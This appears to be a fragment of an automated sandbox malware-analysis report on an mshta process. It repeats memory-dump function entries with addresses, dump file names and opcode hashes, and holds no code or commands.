                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B09C1 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B0DF9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 028B05F9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000002.1158973939.00000000028B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 028B0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_2_28b0000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction ID: b7caf84781e3a659e8e1811f55ba8273ccd29fcf5532803ed0485e1626eef91e
                                                                • Opcode Fuzzy Hash: 748dda0dfeab68893b3697d991aa69cbb900fbf5af18351739e057e1b57506e2
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 02E70FA9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.1021002106.0000000002E70000.00000010.00000800.00020000.00000000.sdmp, Offset: 02E70000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_2e70000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: f359cc225af0488745716f327e57ee9c3a959c3911b4e89364e8e254dfdd53a2
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 02E70FB9 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.1021002106.0000000002E70000.00000010.00000800.00020000.00000000.sdmp, Offset: 02E70000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_2e70000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: f359cc225af0488745716f327e57ee9c3a959c3911b4e89364e8e254dfdd53a2
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 02E70F89 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.1021002106.0000000002E70000.00000010.00000800.00020000.00000000.sdmp, Offset: 02E70000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_2e70000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: f359cc225af0488745716f327e57ee9c3a959c3911b4e89364e8e254dfdd53a2
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Function 02E70F99 Relevance: .0, Instructions: 5COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000008.00000003.1021002106.0000000002E70000.00000010.00000800.00020000.00000000.sdmp, Offset: 02E70000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_8_3_2e70000_mshta.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction ID: f359cc225af0488745716f327e57ee9c3a959c3911b4e89364e8e254dfdd53a2
                                                                • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                • Instruction Fuzzy Hash:
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%